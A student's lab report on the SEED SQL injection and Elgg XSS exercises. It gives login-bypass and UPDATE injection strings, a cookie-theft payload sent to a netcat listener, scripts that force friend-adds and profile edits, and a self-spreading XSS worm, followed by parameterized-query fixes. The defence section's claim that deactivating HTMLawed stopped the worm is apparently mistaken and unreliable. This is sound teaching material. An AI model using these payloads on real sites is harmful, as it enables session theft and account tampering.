20242938 2024-2025-2 《网络攻防实践》第十周作业
一、实验要求
1. SEED SQL注入攻击与防御实验
我们已经创建了一个Web应用程序,并将其托管在 三达不溜.SEEDLabSQLInjection.com。该Web应用程序是一个简单的员工管理应用程序。员工可以通过此Web应用程序查看和更新数据库中的个人信息。此Web应用程序主要有两个角色:管理员是特权角色,可以管理每个员工的个人资料信息。员工是一般角色,可以查看或更新自己的个人资料信息。完成以下任务:
熟悉SQL语句: 我们已经创建了一个名为Users的数据库,其中包含一个名为creditential的表。该表存储了每个员工的个人信息(例如,eid,密码,薪水,ssn等)。在此任务中,您需要使用数据库来熟悉SQL查询。
对SELECT语句的SQL注入攻击:上述Web应用存在SQL输入漏洞,任务是在不知道密码的情况下登陆该Web应用程序。
对UPDATE语句的SQL注入攻击:通过员工的更新个人界面实施UPDATE语句的SQL注入攻击。
SQL对抗:修复上述SQL注入攻击漏洞。
2.SEED XSS跨站脚本攻击实验(Elgg)
为了演示攻击者可以利用XSS漏洞做什么,我们在预先构建的Ubuntu VM映像中设置了一个名为Elgg的Web应用程序。在本实验中,学生需要利用此漏洞对经过修改的Elgg发起XSS攻击,攻击的最终目的是在用户之间传播XSS蠕虫,这样,无论是谁查看的受感染用户个人资料都将被感染。
发布恶意消息,显示警报窗口:在您的Elgg配置文件中嵌入一个JavaScript程序,以便当另一个用户查看您的配置文件时,将执行JavaScript程序并显示一个警报窗口。
弹窗显示cookie信息:将cookie信息显示。
窃取受害者的cookies:将cookie发送给攻击者。
成为受害者的朋友:使用js程序加受害者为朋友,无需受害者干预,使用相关的工具了解Elgg加好友的过程。
修改受害者的信息:使用js程序使得受害者在访问Alice的页面时,资料无需干预却被修改。
编写XSS蠕虫。
对抗XSS攻击。
二、实验过程
准备工作
因为这次要在特定的环境下运行相关的数据库以及网站内容,所以我们要在seed官网( https://seedsecuritylabs.org/lab_env.html )下载SEEDUbuntu-16.04-32bit.zip,在特定的虚拟机内完成本次实验。相关虚拟机配置同实验一中的内容。
虚拟机下载好后开始进行实验内容,创建一个文件夹命名为20242938DHN(改主机名后运行巨卡!)

在终端输入如下命令,开启Apache服务
sudo service apache2 start #开启服务
sudo service apache2 status #查看服务状态

输入命令mysql -u root -p登录mysql数据库,密码seedubuntu

输入命令show databases;,查看已有数据库

输入命令use Users;使用用户数据库,输入show tables;查看表格数据

输出了一行名为credential的表格,输入select * from credential;查看表格内容

SEED SQL注入攻击与防御实验
对SELECT语句的SQL注入攻击
在火狐浏览器中输入网址www.seedlabsqlinjection.com,通过组合键ctrl+U查看网页源码

可以观察到用户点击提交后,表单将用户输入的信息使用"get"方法提交至"unsafe_home.php"页面进行权限校验

在终端中输入vim /var/www/SQLInjection/unsafe_home.php查看服务器验证文件unsafe_home.php具体内容


可以观察到,网站给出了两种不同的登录方式,普通用户和管理员登录后呈现的内容不同。

我们重点关注这一行内容,在这里sql语句直接将用户输入的用户名和密码链接进了查询语句,这样的话输入变量 $input_uname 为 Admin'# 时,' 与 SQL 语句中的单引号闭合,而#后面的内容全部被注释掉了,这样就可以绕过密码校验,直接进入管理员页面


对UPDATE语句的SQL注入攻击
进入Admin的个人编辑。按ctrl+U查看源代码


可以观察到用户点击提交后,表单将用户输入的信息提交至"unsafe_edit_backend.php"页面进行权限校验,我们用同样的方法vim /var/www/SQLInjection/unsafe_edit_backend.php查看该页面的详细内容

重点观察这里的代码,同上一个select攻击一样,可以通过构造输入内容', Salary='20242938' where name='Alice'; #进行updatesql语句注入攻击


对上述漏洞进行修复
在终端中输入sudo vim /var/www/SQLInjection/unsafe_home.php


使用预处理sql语句替代之前的sql语句
$sql = $conn->prepare("SELECT id, name, eid, salary, birth, ssn, phoneNumber, address, email, nickname, Password FROM credential WHERE name= ? and Password= ?");
$sql->bind_param("ss", $input_uname, $hashed_pwd);
首先通过prepare()方法创建一个包含占位符(?)的SQL查询模板,然后使用bind_param()将用户输入的变量($input_uname和$hashed_pwd)作为字符串类型("ss")绑定到查询参数上。以达到防止sql注入攻击的目的。
再次测试Admin'#就会出现以下情况

在终端中输入sudo vim /var/www/SQLInjection/unsafe_edit_backend.php对该文件进行编辑

$sql = $conn->prepare("UPDATE credential SET nickname=?,email=?,address=?,PhoneNumber=? where ID=$id;");
$sql->bind_param("ssss", $input_nickname, $input_email,$input_address, $input_phonenumber);
首先通过prepare()方法创建带有占位符(?)的SQL更新语句模板,其中nickname、email、address和PhoneNumber字段使用参数化查询,而ID直接拼接变量(存在安全隐患)。然后通过bind_param()方法将四个用户输入变量($input_nickname、$input_email、$input_address、$input_phonenumber)作为字符串类型("ssss")绑定到对应的占位符上。以实现安全处理。

再次测试也无法攻击了。

SEED XSS跨站脚本攻击实验(Elgg)
发布恶意消息,显示警报窗口
首先登陆Alice账号,密码为seedalice

点击Edit profile在下面Brief description文本框输入<script>alert('20242938dhn');</script> 语句之后,点击"Save"按钮保存,出现弹窗

然后登陆Boby的账号,密码为seedboby

查看Alice的信息出现弹窗

弹窗显示cookie信息
回到Alice的账号,在Brief description文本框输入<script>alert(document.cookie);</script>后保存

页面出现弹窗并显示cookies信息
再次登录Boby的帐号查看Alice的信息,也弹出Cookies信息弹窗

窃取受害者的cookies
首先查看本机的ip地址为192.168.200.9

登录Alice的账号在Brief description文本框输入
<script>documment.write('<img src=http://127.0.0.1:5555?c='+escape(document.cookie) + '>');</script>
当有用户访问Alice的主页时,就会收到访问者的cookies
然后在终端输入命令nc -l 5555 -v,监听5555端口,然后登录boby的账号访问Alice的主页,可以看到已经得到了boby的cookies

成为受害者的朋友
登录ALice的账号,访问boby的主页,按F12打开开发者模式,进入Network页面,然后点击添加好友,可以看到发出了一个get请求,查看详细信息可知请求地址为
http://www.xsslabelgg.com/action/friends/add?friend=45&__elgg_ts=1747851034&__elgg_token=F7185esHS_QzNtIqC2drDg&__elgg_ts=1747851034&__elgg_token=F7185esHS_QzNtIqC2drDg

其中涉及到三个参数friend,__elgg_ts,__elgg_token,分别是好友、时间、身份认证,根据上述内容可以构造如下代码:
<script type="text/javascript">
// 当页面加载完成后自动执行此函数
window.onload = function () {
// 声明用于保存XMLHttpRequest对象的变量
var Ajax = null;
// 获取Elgg的安全时间戳参数(用于防止CSRF攻击)
var ts = "&__elgg_ts=" + elgg.security.token.__elgg_ts;
// 获取Elgg的安全令牌参数(用于防止CSRF攻击)
var token = "&__elgg_token=" + elgg.security.token.__elgg_token;
// 构造添加好友的请求URL(这里要添加的用户ID是44)
// 在URL末尾附加了安全令牌和时间戳
var sendurl = "http://www.xsslabelgg.com/action/friends/add?friend=44" + ts + token;
// 创建AJAX请求对象
Ajax = new XMLHttpRequest();
// 初始化GET请求
// 参数说明:
// "GET" - 请求方法
// sendurl - 目标地址
// true - 异步请求(不阻塞页面)
Ajax.open("GET", sendurl, true);
// 设置HTTP请求头 - 指定目标主机
Ajax.setRequestHeader("Host", "www.xsslabelgg.com");
// 设置HTTP请求头 - 声明内容类型
Ajax.setRequestHeader("Content-Type", "application/x-www-form-urlencoded");
// 发送AJAX请求
Ajax.send();
}
</script>
将上述代码编辑到Alice的About me中,选择edit html模式并保存

然后登陆boby的账号查看好友一栏,没有好友

访问Alice主页,已经成为好友了

修改受害者的信息
登录Alice账号,修改About me中的内容,按F12打开开发者模式的network中可以看到用 POST 的方式提交表单给 http://www.xsslabelgg.com/action/profile/edit

构造如下代码,添加到ALice主页的About me当中
<script type="text/javascript">
window.onload = function(){
//JavaScript code to access user name, user guid, Time Stamp __elgg_ts
//and Security Token __elgg_token
var userName=elgg.session.user.name;
var guid="&guid="+elgg.session.user.guid;
var ts="&__elgg_ts="+elgg.security.token.__elgg_ts;
var token="&__elgg_token="+elgg.security.token.__elgg_token;
//Construct the content of your url.
var content= token + ts + "name=" + userName + "&description=<p>20242938dhn </p> &accesslevel[description]=2&briefdescription=&accesslevel[briefdescription]=2&location=&accesslevel[location]=2&interests=&accesslevel[interests]=2&skills=&accesslevel[skills]=2&contactemail=&accesslevel[contactemail]=2&phone=&accesslevel[phone]=2&mobile=&accesslevel[mobile]=2&website=&accesslevel[website]=2&twitter=&accesslevel[twitter]=2" + guid;
var sendurl = "http://www.xsslabelgg.com/action/profile/edit"
alert(content)
//FILL IN
var samyGuid=44;
//FILL IN
if(elgg.session.user.guid!=samyGuid)
{
//Create and send Ajax request to modify profile
var Ajax=null;
Ajax=new XMLHttpRequest();
Ajax.open("POST",sendurl,true);
Ajax.setRequestHeader("Host","www.xsslabelgg.com");
Ajax.setRequestHeader("Content-Type",
"application/x-www-form-urlencoded");
Ajax.send(content);
}
}
</script>
然后再次登录boby账号访问Alice主页,然后在返回boby账号可以看到自我介绍被修改

编写XSS蠕虫
编写以下代码,以实现在不同用户之间感染传播,将代码添加到Alice的About me文本框并保存
<script id="worm" type="text/javascript">
window.onload = function(){
var headerTag = "<script id=\'worm\' type=\'text/javascript\'>";
var jsCode = document.getElementById("worm").innerHTML;
var tailTag = "</" + "script>";
var wormCode = encodeURIComponent(headerTag + jsCode + tailTag);
var userName=elgg.session.user.name;
var guid="&guid="+elgg.session.user.guid;
var ts="&__elgg_ts="+elgg.security.token.__elgg_ts;
var token="&__elgg_token="+elgg.security.token.__elgg_token;
//Construct the content of your url.
var content= token + ts + "&name=" + userName + "&description=<p>20242938dhn"+ wormCode + "</p> &accesslevel[description]=2&briefdescription=&accesslevel[briefdescription]=2&location=&accesslevel[location]=2&interests=&accesslevel[interests]=2&skills=&accesslevel[skills]=2&contactemail=&accesslevel[contactemail]=2&phone=&accesslevel[phone]=2&mobile=&accesslevel[mobile]=2&website=&accesslevel[website]=2&twitter=&accesslevel[twitter]=2" + guid;
var sendurl = "http://www.xsslabelgg.com/action/profile/edit"
alert(content)
var samyGuid=44;
if(elgg.session.user.guid!=samyGuid)
{
var Ajax=null;
Ajax=new XMLHttpRequest();
Ajax.open("POST",sendurl,true);
Ajax.setRequestHeader("Host","www.xsslabelgg.com");
Ajax.setRequestHeader("Content-Type",
"application/x-www-form-urlencoded");
Ajax.send(content);
}
}
</script>
登录boby账号访问Alice主页,发现主页被修改

然后再登录Samy的账号,访问boby的主页发现也被修改了!

对抗XSS攻击
登陆管理员的账号Admin,密码:seedelgg
点击右上角的administration,点击plugins

将HTMLawed设为Deactivate状态,主要作用是对用户的输入输出进行校验并且去除特定标签

可以看到蠕虫病毒消失了

问题总结
- 无法开启Apahce服务
![]()
解决方案:安装一下就行了。
sudo apt update
sudo apt install apache2


2. SQL注入攻击失败
解决方案:仔细对照每个标点符号的一一对应关系,发现打错或者打多了,还是不够细心。
心得体会
通过本次实验,我理解了SQL注入和XSS攻击的原理及危害。其实本科的作业就是这么做过来的,但是没有从攻防的角度去想,如果那时候做的东西可能投入使用的话那真是千疮百孔啊!!!
SQL注入通过构造恶意输入改变查询逻辑,而XSS则利用脚本注入执行任意代码。实验中,我学会了如何利用这些漏洞进行攻击,更重要的是掌握了防范措施:参数化查询可防SQL注入,输入过滤和HTML编码能有效阻止XSS。网络安全防护需要开发者始终保持警惕,对用户输入进行严格验证和过滤。这些实践经验让我对Web安全有了更深入的认识。

浙公网安备 33010602011771号